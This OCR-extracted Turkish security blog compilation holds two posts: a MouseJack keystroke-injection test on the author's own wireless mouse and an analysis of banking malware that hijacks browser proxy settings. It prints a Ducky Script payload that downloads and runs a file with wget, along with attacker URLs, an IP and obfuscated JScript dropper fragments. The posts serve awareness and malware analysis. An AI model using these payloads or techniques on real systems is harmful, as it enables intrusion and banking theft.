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Merhabalar,

2008 yilinda "Bilgi gictir ve paylasildikga artar” mottosuyla olusturdugum siber givenlik blogumda
(https://www.mertsarica.com), bilgi givenligi farkindahdim arttirma adina gok sayida teknik yaziya
vyer vermeye calistim. Yillar iginde Turkive'nin dért bir yanindan aldidim olumlu geri déniisler
sonucunda, yazililanm yillar bazinda e-kitap olarak derlemeye ve siber givenlik merakllar ile
paylasmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptigim bu arastirmalar sonucunda yazdigim bu yazilar, siber
guvenlik alaninda kendini gelistirmek isteyenler igin umanm faydal olur.

Yeni yazilarla gérasmek dilediyle...
Saygilanmla,
Mert SARICA

Siber Guvenlik Uzmani
https://www.mertsarica.com

Casus Fare

By Mert SARICA on December 1st, 2017

2015 yilinda elektronik iiriinler satan bir magazada kampanyada olan bir iiriin seti dikkatimi ¢ekmisti. Kaspersky Internet Security giivenlik
yazilimini satin aldigimiz taktirde Microsoft’un Sculpt Mobile model kablosuz faresi hediye olarak geliyordu. Yeni bir fareye ihtiyacim
oldugu i¢in o zamanlar hi¢ diisiinmeden satin aldigim ve yillardir severek kullandigim bu kablosuz farenin, sahip oldugu zafiyet nedeniyle
arkamdan isler ¢evirebilecek bir casusa doniisebilecegi hi¢ aklima gelmemisti. :)

Bluetooth olmayan kablosuz klavye ve farelerin RF haberlesmesi iizerine yapilan arastirmalara kisaca bakacak olursak, 2007 yilinda Max
Moser tarafindan 27 MHz bandinda haberlesen kablosuz klavyelerin (Microsoft ve Logitech) uzaktan rahatlikla dinlenebilecegi, yaptigt
bir arastirma sonucunda ortaya ¢ikt1 ve giivenlik diinyasinda oldukc¢a ses getirdi. 2009 yilinda ise Max Moser ve Thorsten Schroeder,
kablosuz klavyeleri dinlemek amaciyla gelistirdikleri ve KeyKeriki adini verdikleri aygiti duyurdular. 2010 yilinda ise bu defa 2.4 GHz
bandindan haberlesen ve Nordic Semiconductor NRF24XXX ¢ipine sahip klavyeleri de dinleyebilen KeyKeriki v2.0°1 duyurdular. 2011
yilinda Travis Goodspeed, ~5TL degerinde olan nRF24L01+ ¢ipini promiscuous kipte ¢alistirarak 2.4 GHZ bandinda NRF24XXX cipler
tarafindan gonderilen paketlerin basit bir sekilde izlenebilecegini (sniff) gosterdi. 2015 yilinda Samy Kambkar, Arduino tabanl KeySweeper
aygiti ile Microsoft klavyelerden tus bilgilerinin anlik olarak pratik bir sekilde nasil ¢alinabilecegini tiim diinyaya gosterdi.

Yillar iginde yapilan bu arastirmalar ve caligmalar sayesinde bluetooth olmayan kablosuz klavyeler (2.4 GHz ISM) ile bilgisayarlar
arasindaki RF haberlesme, tireticiler tarafindan (istisnalar haric) giiclii algoritmalarla sifrelenerek art niyetli kisiler tarafindan tus bilgilerinin
izlenmesinin 6niine gegildi. Ureticiler kablosuz klavyeleri giivenli hale getirmek igin yogun ¢aba sarfederken, kablosuz fareler arka planda
kaldi. Ne de olsa bir farenin hareketlerinin ve basilan buton bilgilerinin (sag, sol, orta) sifresiz ¢alinmasi art niyetli kisilerin ne isine
yarayabilir ? Isin aslmin pek de dyle olmadigmi 2015 yilinda Bastille firmasmnin yapmis oldugu ve MouseJack admi verdigi arastirma ve ¢ok
sayida tireticinin etkilendigi yontem ile ortaya koymus (video) oldu. MouseJack yontemi ile fare alicis1 olarak bilgisayara takilan USB aliciya
fare hareket ve basilan butonlarin bilgilerinin yerine kablosuz olarak Bad.Bad USB blog yazimda oldugu gibi Ducky Script formatinda klavye
tus basma bilgileri (keystroke) gonderilmektedir. Bu sayede benim gibi diziistii bilgisayar kullandigimiz i¢in kablosuz klavye kullanmasaniz
da, kablosuz fare kullandiginiz i¢in bilgisayarinizin bagindan kisa siireligine kalktiginizda, art niyetli bir kisi kablosuz olarak bilgisayariniza
bagli olan USB alictya kablosuz fareden gonderiliyormus gibi istedigi tus basma bilgilerini gonderebilmektedir!

Kablosuz Microsoft fare kullanan biri olarak, MouseJack yonteminin farem iizerinde etkili olup olmadigini anlamak i¢in hemen ise koyuldum
ve Bastille’nin MouseJack GitHub sayfasinda belirtildigi tizere CrazyRadio PA USB aygitin1 satin almaya karar verdim. nrf-research-
firmware donanim yazilimini derleyip, CrazyRadio PA’ya (bin/dongle.bin) yiikledikten sonra Bastille’nin GitHub sayfasinda yer alan
araclarin etraftaki nRF24L01+ aygitlar tespit etmeye ve paketleri izlemeye imkan tanidigini gordiim. Bastille, klavye tus basma bilgilerini
gonderebilen aracini sadece iireticilerle paylastigi i¢in GitHub’da ufak bir aragtirma yapmaya karar verdim ve ¢cok gegmeden klavye tus
basma bilgilerini de gondermeye imkan taniyan jackit araci ile kargilagtim.



http://www.mertsarica.com/casus-fare/
http://www.kaspersky.com/internet-security
http://www.microsoft.com/accessories/tr-tr/products/mice/sculpt-mobile-mouse/43u-00003
http://www.securiteam.com/securityreviews/6G0030KKKI.html
http://www.remote-exploit.org/content/keykeriki_ph7d9.pdf
http://www.remote-exploit.org/content/keykeriki_v2_cansec_v1.1.pdf
http://www.robotistan.com/wireless-nrf24l01-24ghz-transceiver-modul-24ghz-alici-verici-modul-1
http://en.wikipedia.org/wiki/Promiscuous_mode
http://www.arduino.cc/
http://samy.pl/keysweeper/
http://en.wikipedia.org/wiki/ISM_band
http://www.keysniffer.net/
http://www.bastille.net/
http://www.mousejack.com/
http://www.bastille.net/research/vulnerabilities/mousejack/technical-details
http://www.kb.cert.org/vuls/id/981271
http://vimeo.com/155601140?width=1080
http://www.mertsarica.com/bad-bad-usb/
http://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
http://github.com/BastilleResearch/mousejack
http://www.seeedstudio.com/Crazyradio-PA-long-range-2.4Ghz-USB-radio-dongle-with-antenna-p-2104.html
http://github.com/insecurityofthings/jackit
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¢ Terminal  Help
= 1 root root 1B575 Mar 31 19:18 main.rst
- 1 root root 34865 Mar 8 main.sym

root@Hack4Career: Wcraryradio-firmware/firmware

firme make CRPA=1

¢ sre/main.c -o bin/main. rel
= sdec -TIinc/ --model-large sdcc99 -DCRPA -¢ sre/radio.c -0 binfradio.rel
sdcc -Iinc/ del-large -- -50cc99 -DCRPA -¢ src/usb.c -0 binfusb.rel

c

L

€

= sdcc -Iinc/ --model-large -- -5dcc99 -DCRPA -

= sdcc -Tinc/ --model-large --std-sdcc99 -DCRPA -¢ srcfusbDescriptor.c -o binfusbDescriptor.rel
- sdcc -Iinc/ --model-large --std-sdcc99 -DCRPA -c srcfled.c -o bin/led.rel
- sdec -Iinc/ --model-large --std-sdcc®9 -DCRPA -c srcfutils.c -o binfutils.rel
- sdcc --xram-loc OxBO00 --xram-size 2048 --model-large bin/main.rel bin/radic.rel binfusb.rel bin/usbDescripter.rel bin/led.rel binfutils.rel -o bin/cradio.ihx
“objcopy -I ihex bin/cradic.ihx -0 binary bin/cradio.bin
== Crazyradio PA nu:\n
o rmware® python ../usbtools/launchBootloader.py
-- Bootloader al ec\dy
rmvared python ../fusbtools/nrfbootload.py flash bin/cradie.bin
002 De {Found nRF24LU1 boatLoadLr Ll
881 De =1asn1nr|
801 De  Flashing 7471 bytes...
881 DeFlashing done!
881 Deverifying:
881 De  Reading bin/cradio.bin.
Reading 7471 bytes 'rom tho flash...
8682 Deverification succeded!
801 De :~/Desk
801 Device bud: LU oub/:dada LNLEL LOTP.
0881 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.
881 Device 882: ID 845e:87b2 Microsoft Corp.
881 Device 801: ID 1d6b:0862 Linux Foundation 2.8 mnt hub

862 Device 601: : Linux Foundation 3.8 root hub
881 Device B885: 12878 Elan Microelectronics Corp.
0881 Device 684: :BaZa Intel Corp.
0881 Device 883: :2c¢7d Sunplus Innovation Technology Inc.
801 Device 882: :87b2 Microsoft Corp.
801 Device 681: 18002 Linux Foundation 2.8 root hub

H K mousejack/nrf-research-firmware/bin# lsusb
802 Device 8983 Linux Foundation 3 8 root hub
0881 Device . 12878 Elan Microelectronics Corp.
881 Device - :B8aZa Intel Corp.
881 Device - :2¢7d Sunplus Innovation Technology Inc.
081 Device : :87b2 Microsoft Corp.
061 Device H 17777 Nordic Semiconductor ASA
801 Device : 18882 Linux Foundation 2.8 root hub

sk mousejack/nrf-resea irmware/bin& lsusb

882 Device H :BGBJ Linux Foundation 3.8 ruDL hub
801 Device H :2878 Elan Microelectronics Corp.
801 Device : :BaZa Intel Corp.
801 Device d :2c7d Sunplus Innovation Technology Inc.
881 Device = :87b2 Microsoft Corp.
881 Device H 17777 Nerdic Semiconductor ASA
881 Device : 18802 Linux Ful.ndatmrl 2. B ruDL hﬂh

7 ch-fi

- 1 root root 18575 Mar 31 19:18 main.rst
- 1 root root 34065 Mar 31 19:18 main.sym
ejackinrf-rese;
Help
5 nrf-research-firme: prog r -flash.py bin,
LOOK]I\Q for a EO?‘D&IJ’D[E device that can JlImD to the Nordic bootloader
Device found, jumping to the Nordic bootloader
Looking for a device running the Mordic bootloader
Writing image to flash
Verifying write
Firmware programming completed successfully
gle or breakout board and plug it back in.

802 De
801 De
801 De
881 De
881 De
881 De

662 De

801 De

801 Device vu4: LU oub/.dada Lnlel Lorp.

801 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.

881 Device 882: ID B45e:87b2 Microsoft Corp.

001 Device 801: ID 1d6b:0802 Linux Foundation 2 B mDL hub
:~/Desktop/m ack/nrf-rese

062 Device 681: ID 1d6b:083 Linux Foundation 3.8 root hub

801 Device 885: ID B84f3:2878 Elan Microelectronics Corp.

881 Device 684: ID B8B7:8aZa Intel Corp.

0801 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.

001 Device 882: ID B45e:087b2 Microsoft Corp.

801 Device 881: ID 1d6b:08882 Linux Founaatlon 2. El root nnn
- ktop/mousejack/nrf-research-firmware/bin# lsusb

882 Device 801 :0953 Linux Foundation 3. B root huh

0881 Device 885: ID B84f3:2878 Elan Microelectronics Corp.

0881 Device 884: ID BOB7:8aZa Intel Corp.

0881 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.

001 Device 602: ID B45e:87b2 Microsoft Corp.

801 Device 086: ID 1915:7777 Nordic Semiconductor ASA

s 801 Device ©881: ID 1d6b:8662 Linux Foundation 2.8 root hub
Desktop/mousejack/nrf-resear irmware/bin# lsusb

882 Device 881: ID 1d6b:B8B3 Linux Foundation 3.8 ruDL hub

001 Device 885: ID B473:2070 Elan Microelectronics Corp.

801 Device 884: ID B887:8aZa Intel Corp.

881 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.

801 Device 082: ID B45e:87b2 Microsoft Corp.

881 Device 886: ID 1915:7777 Nordic Semiconductor ASA

881 Device 881: ID 1d6b:8882 Linux Foundation 2. B root hub
~/Desktop/m ck/nrf-research-fi e/bind | |




root@Hack4Career: ~/Desktop/mousejack/nrf-research-firmware/tools

File Edit View Search Terminal Help

sktop/mousejack/nrf-research-fir re/tools# python nrf24-scanner.py -1
.151] 86:1D:70:79: :E9:00:00:03
.155] 86:1D:70:79: :EQ:00:00:03
.158] 86:1D:70:79: :E9:00:00:03
.160] 86:1D:70: :E9:00:00:03
.165] 86:1D:70:79: :E9:00:00:03
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root@Hack4Career: ~/Desktop/jackit e 0

File Edit View Search Terminal Help
[+] Scanning every 5s when ready.

KEY ADDRESS CHANNELS COUNT S Y PACKET

Microsoft HID

Logitech HID

i
1:
|

1:
:E

ago <Ad:@
ago +8B:55:55:55:56:AA:52 :08:80:10:88:80:00:08:

[

ago 6:54:23:2A:18:B1:4A:B4:C8:AB:65:4D:9F:25:95:95:

Jackit aracin1 Kali’ye kurduktan hemen sonra Ducky Script formatinda hazirladigim klavye tus bilgilerini, Crazyradio PA ile gondermeye
basladim. Kisa bir siire sonra Kali’de root terminal acildi, wget ile http://www.mertsarica.com adresinden pwned dosyasi indirildi ve
calistirildu.


http://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript

root@Hack4Career: ~/Desktop/jackit e o O

File Edit View Search Terminal Help
GNU nano 2.7.4 File: ducky-mert.txt Modified

DELAY 2500

GUI

DELAY 2500

STRING root terminal
DELAY 2500

ENTER

DELAY 2500

STRING wget https://www.mertsarica.com/pwned
DELAY 2500

ENTER

STRING chmod +x pwned
DELAY 2500

ENTER

STRING ./pwned

DELAY 2500

ENTER

e Get Help @V Write Out @l Where Is @ Cut Text @ Justify @8 Cur Pos
W Exit Wi Read File @i Replace gl Uncut Textgl] To Spell gl Go To Line g

Yapmis oldugum bu ¢aligma sonrasinda sahip oldugum Microsoft marka kablosuz faremi iiziilerek ¢ope atip, daha giivenli bir kablosuz
fare almak i¢in elektronik iiriinler satan bir magazanin yolunu tuttum. Fiziksel giivenligim ve giivenlik farkindalig1 i¢in yapmis oldugum bu
caligmanin, kablosuz klavye ve fare kullananlar adina faydali olmasini temenni eder, bir sonraki yazida goriismek dilegiyle herkese giivenli
giinler dilerim.

The post Casus Fare appeared first on Siber Giivenlik Giinliigi.

Man In The Proxy

By Mert SARICA on November 1st, 2017

Benim gibi bir bankada galisiyor, tersine mithendislikten keyif aliyor ve bankacilik zararli yazilimlar1 da 6zel olarak ilgi alaniniza giriyorsa,
analiz etmek i¢in gesitli drnekler zaman iginde elinize diistiveriyor. Kimi zaman bu bankacilik zararli yazilimlarini temin etmek isin en
zor kismi olsa da giiniin sonunda basariyla analiz edip, yazilim ekipleri ile yakin galisarak, miisterilerinizi korumak i¢in beyin firtinalari,
caligmalar yapmak mesleki tatmin adina pahabi¢ilmez oluyor.

Bu hikaye, 2016 yilinin Kasim ayinda bir kullanicinin bankacilik islemi gergeklestirmek iizere miisterisi oldugu bankanin internet subesine
baglanip bilgilerini girdiginde, daha 6nce hi¢ karsilagsmadig: stipheli bir uyar1 mesaj1 (Saym kullanici! Sitede teknik islemler yapiliyor.
Bilgisayardan, tabletten veya akilli telefondan yarim girebilirsiniz. Oziir dileriz) ile karsilagmasi ve bankaya haber vermesi ile baglar. Yapilan
incelemede, kullanicinin internet tarayicisinin dzellikleri boliimiinde, vekil (proxy) sunucu adresi tanimlama kisminda http://valnorak.top/
pPkJX8/G7E34.e0d adresinin yer aldig1 goriiliir. GF7E34.eod isimli auto-config dosyasi incelendiginde ise hedef alinan bankalarin listesi
ortaya ¢ikar. Kullanici bu bankalardan birinin internet subesine gitmeye ¢alistiginda internet tarayicisi, kullanicinin trafigini 194.165.16.35 ip
adresinde bulunan vekil sunucuya yonlendirerek banka ile olan iletisim artik art niyetli kisilerin yonlendirdigi vekil sunucu ile gergeklesmeye
baslar. Vekil sunucudan kullaniciya, bankaya aitmis siisii verilen sahte sayfalar (response) iletilerek kullanicinin bu sayfalara internet
sayfaya yonlendirilen internet tarayicisinin kendinden imzali (self-signed) SSL sertifika nedeniyle uyar1 vermemesi adina da, yonlendirilme
oncesinde kullanicinin sistemine TurkSign isimli bir kok sertifika yiiklenir. Zararli yazilim, iz birakmama adina sistem {izerinde kalic
(persistency) olmamayi tercih ettigin i¢in ise sistem {lizerinde zararli yazilimin yiiriitiilebilir (exe) haline rastlanmaz.


http://www.mertsarica.com/casus-fare/
http://www.mertsarica.com
http://www.mertsarica.com/man-in-the-proxy/
http://en.wikipedia.org/wiki/Proxy_auto-config

bs Yerel AJ (LAN) Ayarlar “

Otomatik Yaplandirma

Cromatik. yapilandirma, yapbiginz ayarlan dedistirebilir, Bu ayarlann
kullariimasi igin otomatik yaplandirmay devre disi birakin,

Avarlan akomnatik alarak algla
Otomatik yvapilandirma komut dosyasi kullan
Adres |http:,l’;’valnorak.top,prkJXS,fG?E34.eod| |

Ara sunucy

1 ‘erel adiniz igin bir proxy sunucy kullamn (Bu ayvarlar cevirmeli
badlantilarda va da ¥YPM badlantilannda gecerli almaz).

Adres: B. Mok, a0 Gelismiz

_erel adresler igin proxy sunucuyy atla

Tarnam | iptal |

Aradan aylar gegtikten sonra 2017 yilinin Mayis ayinda, bir baska bankadaki uzman arkadasin paylasimi ve bankalar arasi siber tehditlerin
birlikten gii¢ dogar edasiyla paylasildigi bir platformda (BASTM) paylasilan bir bilgi sayesinde zincirdeki kayip halka olan yukarida
bahsi gegen zararli yazilima ulagmayi basarabildim. Art niyetli kisiler, kullanicilara zararli yazilimi indirtmek i¢in dncelikle sahte bir Flash
Player giincelleme sayfasi olusturup, buraya i¢inde Flash-2017.zip dosyasi i¢inde Flash-2017.js isimli bir dosya yiiklemisler. Okunakli
olmayan (encoded) bu dosya calistirildiginda, ekrana sahte bir hata mesaj1 ¢ikarip, sonlaniyordu. Zararli JavaScript Analizi baslikli yazim
okuyanlar, okunakl1 (obfuscated) olmayan bu JScript kodunu hata ayiklama (debugging) yontemi ile analiz etmeye ¢alistiklarinda 3 biiyilik
internet tarayicisinda hata aldiklarmi goreceklerdir. “WSecript is not defined”, “ActiveXObject is not defined” ve benzer durumlarda
nasil hata ayiklama gergeklestirebileceklerini (debugging) merak edenleri hemen Wscript Hata Ayiklamasi baglikli diger bir blog yazima
yonlendirebilirim. ;)

Adobe Flash Player x
W 0 y

“— = | @ eco-flash.ru

Flash Player Yikseltin Mayis 2017

ADOBE’
FLASH® PLAYER

DOWNLOAD

indirmek igin buraya tikla



http://www.mertsarica.com/zararli-javascript-analizi/

_ | W -
‘ > Flas " Flash-2017 ~ | 43 || Search Flash-2017
- —

Share with +

Organize - - Open b Print Mew folder

-

Mame Date modified Size

.1 Favorites IYRE

B Desktop
& Downloads
&l Recent Places

Flash-2017.js 04.05.2017 16:06 JScript Script File 8 KB

= Libraries
@ Documents
J’ Music
[ Pictures

i Videos

[

>
Windows Script Host

% Homegroup

Runtime Error 0::48940 ((QBT) Library not located on the system, please use x64

- Computer system.

£, Local Disk (C3)

e_ Metwork

[= Aash-2017js E3

1 | -

2

3 var ccdffcbabb = '';

4 var aaadeecfdeccae = []: =

5 var abcdbefafafe; 1

€

=

8

]

10

11

12

13 var afdebc = new ActiveXObject ('Scripting.FileSystemlbject');

14

15 wvar becafdecbcaaabff = afdebc.GetSpecialFolder(2):

16

17

18 BH/*

19

20 function acfabbfabdd (cadfddaceacffc) {

21 var ffbfabeffda = cadfddaceacffc.toString();

22 var ecacebbabbbfddc = '*;

23 for (var efadcccbfac = 0; efadcccbfac < ffbfabeffda.length; efadcccbfac += 2)

24 ecacebbabbbfddc += String.fromCharCode (parselnt (ffbfabeffda.substr (efadcccbfac, 2), 16)):

25 return ecacebbabbbfddc;

26 }

27

28 function cbfeedcboedbbf (ddccfceeaaab) |

23 recurn !isNalN (parseFloat(ddccfceeaaab)) && isFinite (ddccfceeaaab):

30 }

31

32

33

34 function cfedcadb (eceedbbdacafeeceedbbdaeafe,bfadaea) {

35

36

37 for(i=bfadaea;i>0;i--){

38

39 eceedbbdasafeeceedbbdaeafe = eceedbbdasafeeceedbbdasafe - 1:

40

41 if (eceedbbdasafeeceedbbdaeafe<l) eceedbbdasafeeceadbbdacafe = 9;

42

43 ¥

aa ha
JavaScript file length : 7.392  lines: 308 Ln:1l Col:1 Sel:0]0 Windows (CRLF)  UTF-8 INS




. C | @ filey///C:Users/Mert/Desktop/testhim|
i Favortes | 5l @] Suggested Sites v @] Web Skice Gallery & &

Elements Console Sources Network Timeline %

8 C\Users\Ment\Desktoptest htrnl i - v [ mm v Pagev Safetyv Took~ v G F top v @ Preservelog

@ Tohelp your security, g i webpage from ing scripts or ActiveX controls that could access 0 Uncaught RefersnceError: Activexobject is mot defined
your computer. Click here for cptions... at gest.htm]:14

»

'h'cmsmmﬁmmm v Raw% - .

77 Favorites | 95 | Suggested Sites v @& Web Slice Gallery »

| @ Ci\Users\Mert\Desktoptest.html [_| 5~ v [ g v Pagev Safetyv Toolsv @v

.

fizia
& | Windows Internet Explorer M

i Errors on this webpage might cause it to work incorrectly

To see this message in the future, double-click the warning icon on the status bar.

"WScript' is undefined |
test.html

Mert/Desktop/test.html

o

& Always show this message for webpage errors Copy error details |
o () Hide details

o | &] Done M Computer | Protected Mode: OFf

JScript kodunu adim adim hata ayiklama ile analiz ettikten sonra bu kodun http://highetave.xyz/gete14.php?ff1 adresine bir istek génderdigini
ve her defasinda web sunucusundan donen yanitin farkli (Server-side polymorphism) oldugunu gérdiim. Web sunucusundan dénen yanit, kod
iizerinde yer alan ilgili fonksiyonlar tarafindan ¢6ziildiikten sonra diske 0c03.exe (md5: dcfb9cab318417d3¢71bc25¢717221c2) ad1 altinda
kayit ediliyor ve ardindan ¢alistiriliyordu. Paketlenmis (packed) 0c03.exe yiiriitiilebilir dosyasini (exe), x64dbg araci ile paketinden ¢ikarip
(unpack), diske kayit ettigimde ise zararli yazilimin maskesi yavas yavas diismeye basladi.


http://nakedsecurity.sophos.com/2012/07/31/server-side-polymorphism-malware/
http://x64dbg.com

&> Telerik Fiddler Web Debugger .

File Edit Rules Tools View Help GET /book ﬂGeuEdge
Keep: All sessions ~ #F Any Process 34 Find Save | i8] @ & Browse - @ Clear Cache T TedWizard | [ Tearoff

. 4 E= el

() 4 Replay X - P Go ‘ Stream i Decode

£ Result  Protocol = Host = URL Body Cach|
£ ghetave.xyz jgetel4.php?ffi 173.455
€¥111 200 HTTP highetave.xyz jgete14.php?ffl 173.397
€¥116 200 HTTP highetave.xyz jgete14.php?ffl 173.408
€¥127 200 HTTIP highetave.xyz jgetel14.php?ffl 173.458
€¥128 200 HTTP highetave.xyz jgetel14.php?ffl 173.517
€¥129 200 HTTP highetave.xyz jgetel14.php?ffl 173,498
€¥130 200 HTTP highetave.xyz jgete14.php?ffl 173.678
€¥131 200 HITP highetave.xyz jgete14.php?ffl 173.543
€¥132 200 HTTP highetave.xyz jgetel14.php?ffl 173.526
€$133 200 HTTP highetave.xyz jgete14.php?ffi 173.503
€¥13¢ 200 HTTP highetave.xyz jgetel14.php?ffl 173.513
€¥135 200 HTTP highetave.xyz jgete14.php?ffl 173.522
€¥136 200 HTTP highetave.xyz jgetel14.php?ffl 173.483
€¥137 200 HTTIP highetave.xyz jgetel14.php?ffl 173.532
€¥139 200 HTTP highetave.xyz jgete14.php?ffl 173.527
€¥190 200 HTTP highetave.xyz jgetel14.php?ffl 173.442
€¥141 200 HTTP highetave.xyz jgete14.php?ffi 173.577

4 [1[}

= All Processes

1/17

11mb

LU

= |;| Filters I "= Timeline | [z APITest
T4 1nspectors | 4 AutoResponder | # Composer
IHeaders | TextView | WebForms | HexView | Auth | Cookies | Raw | 150N |
x|

GET /gete14.php?f1 HTTP/1.1
Client

Accept: ¥/

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6. 1; Trident/7.0; SLCC2; .MET CLR 2.0
Transport

Host: highetave.xyz

Proxy-Connection: Keep-Alive

al I | 0

Get SyntaxView | Transformer | Headers | TextView | ImageView | HexView WebView
Auth | Caching | Cookies |[Raw | 3OM | x|

HTTP/1.1 200 OK

Content-Type: text/html

Date: Tue, 09 May 2017 07:25:42 GMT
Proxy-Connection: Keep-Alive

|

server: ngimx/1.2.1

Connection: close
Content-Length: 173084

4,1,5,5,4,0,8,7,7,8,2,0,3| | | 8d6a4540807824155 80877 82 FFf4155b2087782415

o™ o

Find... (press Cirl+Enter to highlight all) I Viewin Notepad I

http://highetave. xyz/gete 14.php?ff1



File Help

sHxE®
1 e \mert\desktop\0c0340c03.exe engine (62) positiv (38) date (dd.mm.y... age(.. =
e Sichealaie (S McAfee Artemis!DCFBICAB3184 1505.2017 8
L2l AVG Atros5.BHUH 1505.2017 g
;_'g :::“'h’:::gffobb’:i} McAfee-GW-Edition BehavesLike.Win32.Dropper.mm 14.05.2017 9
; Sophos Mal/Generic-5 15.05.2017 8
O optional-header (224 bytes) 3
O directories (4/15) Avira TR/Crypt.EPACK.phzhz 15.05.2017 8 Paketlenmi
I : §
.0 sections ) TrendMicro-HouseCall TROJ_GEM.RO1BCOEEALT 15.05.2017 8
O fbraries @) Panda Trj/CLA 14.05.2017 9
O imports (191/205) AegisLab Troj.W32.Banpaklc 15.05.2007 8
O eports (va) KIGW Trojan (0050451 ) 15052017 8 E
O exceptions (n/a) K7 AntiVirus Trojan (0050d4f51 ) 15.05.2017 g
=0 tis-callbacks (n/a) CAT-QuickHeal Trojan.Banpak 15.05.2017 8
H' resources (1) Symantec Trojan.Gen.2 14.05.2017 9
|abe strings (21/2489) Arcabit Trojan,Generic.D4C788E 15.05.2017 8
I~ debug (n/a) MicroWorld-eScan Trojan.GenericKD.5011598 15.05.2017 8
EJ manifest (invoker) AlYac Trojan.GenericKD.5011598 15.05.2017 8
{~{z8 version (n/3) BitDefender Trojan.GenericKD.5011598 15.05.2017 8
i certificate (n/a) Ad-Aware Trojan.GenericKD.5011598 15.05.2017 8
L] overday (n/a) F-Secure Trojan.GenericKD.5011598 15.05.2017 8 1
GData Trojan.GenericKD.5011598 15.05.2017 8
Emsisoft Trojan.GenericKD.5011598 (B) 15.05.2017 8
Kaspersky Trojan.Win32.Banpak.eb 15.05.2017 8
'3 dic 8.54 - Mal Initial A - initor.com T — SR— - N=NR=N
Edp . Lt g LN o — —— — - .
2.exe engine (61) positiv (27) date (dd.mm.y... age (.. =
1 McAfee Artemis!'GEATIDBEIDCA 16.05.2017 7
dos-stub (192 bytes) McAfee-GW-Edition mtemns!Tr.n]an 15.05.2017 8
file-header (20 bytes) Sophos Mal/Generic-5 16.05.2017 7
2 KIGW Proxy-Program ( 004f16f21 ) 16.05.2017 7
optional-header (224 bytes) -
directories (4/15) K7 AntiVirus Proxy-Program ( 00411621 ) 16.05.2017 7 Paketlenmemis
sactions (B) Avira TR/AD.Capper.muyhy 16.05.2017 7
libraries (3) TrendMicro TROJ_GEN.ROOXCOVEC1T 16.05.2017 T
imports (8/20) TrendMicro-HouseCall  TROJ_GEN.ROOXCOVECIT 16.05.2017 7
. exports (n/2) Panda Trj/GdSda.A 15.05.2017 8 E
exceptions (n/a) Kaspersky Trojan-Proxy.Win32.Banker ki 16.05.2017 7
tls-callbacks (n/a) ZoneAlarm Trojan-Proxy.Win32.Banker ki 16.05.2017 7
" resources (1/2) Symantec Trojan.Gen.2 15.05.2017 8
ate strings (113/745) Rising Trojan.ProxyChanger!8.83 (cloud:vdaZeKES... 16.05.2017 7
l I A% debug (n/a) NANO-Antivirus Trojan.Win32.Banker.eckcqz 16.05.2017 7
B manifest (n/a) VIPRE Trojan.Win32.Generic!BT 16.05.2017 7
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3% 132dbg - File: 0c03.exe - PID: A74 - Thread: Main Thread ADC ==

File WView Debug Plugine Favourites Options Help Feb 252017

CoE =0 Y tunBleoemgs (R0 B2 hi sl E9ER ZFEO

’TECPU | QGraph | | # Log | 1l Motes | ® Breakpoints | 88 Memory Map | |:lv Call Stack | =73 SEH | 123 Seript | %]Symbols | <2 source | 4 References | ‘#Tﬂ@
0

ES8 21 F3 FF FAcall 231FD6 i
Hide FPU
0B CO or eax,eax - [liREs J
v 7405 je 232CBE EAX 00000000 [
~ E9 FA 00 00 0OJ jmp 232DBES
EBX FFEZ0000
= pLsh: cihi ECX EC30000
C7 04 24 02 0Qmov dword ptr ss:[espll,z2 |_|
8F 83 03 43 41 pop dword ptr ds:[ebx+414303] || EDX  DOOSE3CS
h O EBP OD1EFF94
6A 00 pus 8
89 0C 24 mov dword ptr ss:[Jespll,ecx ESP  O018FF&C
2B C9 sub ecx,ecx ESI 00417000 0c03.00417000
03 C8 add ecx,eax EDI 00247000
59 BB 50 41 41mov dwurLd ptr ds: [ebx+414150],ecx e
53 pop ecx EIP  00232CES
83 BB 03 43 43 cmp dword ptr ds:[ebx+414303],0
- ag ég ggeesilgﬁ EFLAGS 00000244
'
. 75 Sk Sre 33010 ZE1 PRl AR O
. 8D 83 03 43 43 lea eax,dword ptr ds:[ebx+414303]
= co push eax CFOo TFO IF 1
. 52 push edx
. C7 04 24 40 oqmov dword ptr ss:[fespl,40 4 LastError 00000000 (ERROR_SUCCESS)
- 02 82 D1 40 41 add eax,dword ptr ds:[ebx+4140D01]
. 50 push eax G5 002B FS5 0053
. 2B 83 D1 40 43 sub eax,dword ptr ds:[ebx+4140D01] ES 002B DS 002B
» gg 04 24 subhdwgrjd ptr ss:[lespl,eax CS 0023 55 D02B
. 7 push edi
. Sakron 3z 4 ﬂ?ﬁgeﬂ.}aﬁ‘éc’gﬂ,ﬂpgz.%2;5”25?”25“] X87r0 D00000D0D00DDODOO00D STO EMPty 0.00
5 % - r XE7r1 00000000000000000000 5T1 Empty O.00
- FF 92 3C 20 431 E3Il dword ptr ds:[ebx+<&VirtualProtect:] [
. ES 6A 01 00 Of call 232E87 XE87r2 00000000000000000000 5T2 EmMpLY D.DD_
&4 00 push 0 = . I— |
. szl MmOy eondenic ax-Ees i, eho ~ || Defavilt (stdcal) |5 [2] [ unlocked
4 | T 3 1: [esp+4] 00000000 [
2: [esp+8] OD1BFF34
dword ptr[ebx+41428E]=[0024428E]=00250000 "MZP" 3: [esp+C] OOD18FFS8C
4: [esp+10] FEFDEOOO
00232D47 B = = & =
= EEFERS 00000000
W4 Dump 1 | Wy Dump 2 | 444 Dump 3 | W4 Dump 4 | W Dump 5 | & watch 1 | ?’Shuct| SOLorr| 00000000 =
001E8FF| 0018FF94
ASCII -~
__|| 001B8FF| D0O18FF8C
S oOn|o g ok Tt £ [ oo12FF| 7eFDEOOD
00 00 00|00 oo 00 0 00D1E8FF| 00402617 0c03.EntryPoint
00 00 00|00 00 00 o 0018FF| 00000000
B4 09 CD|21 BS 01 4 i H 0018FF| 753633B8 kernel3z.BaseThre:z
-0 72 &F |87 T2 &1 & This progr:;i'r 0018FF| 753633CA return to kernel3z
2 18FF
72 75 GE(20 75 6E &1 be run und gglfrc gg;ggggg
0A 24 27|00 00 00 O iy
00 00 00|00 00 00 o OD1EFF|[77769ED2 return to ntdll1.Rt—,
e 001EFF|| FEFDECOD [
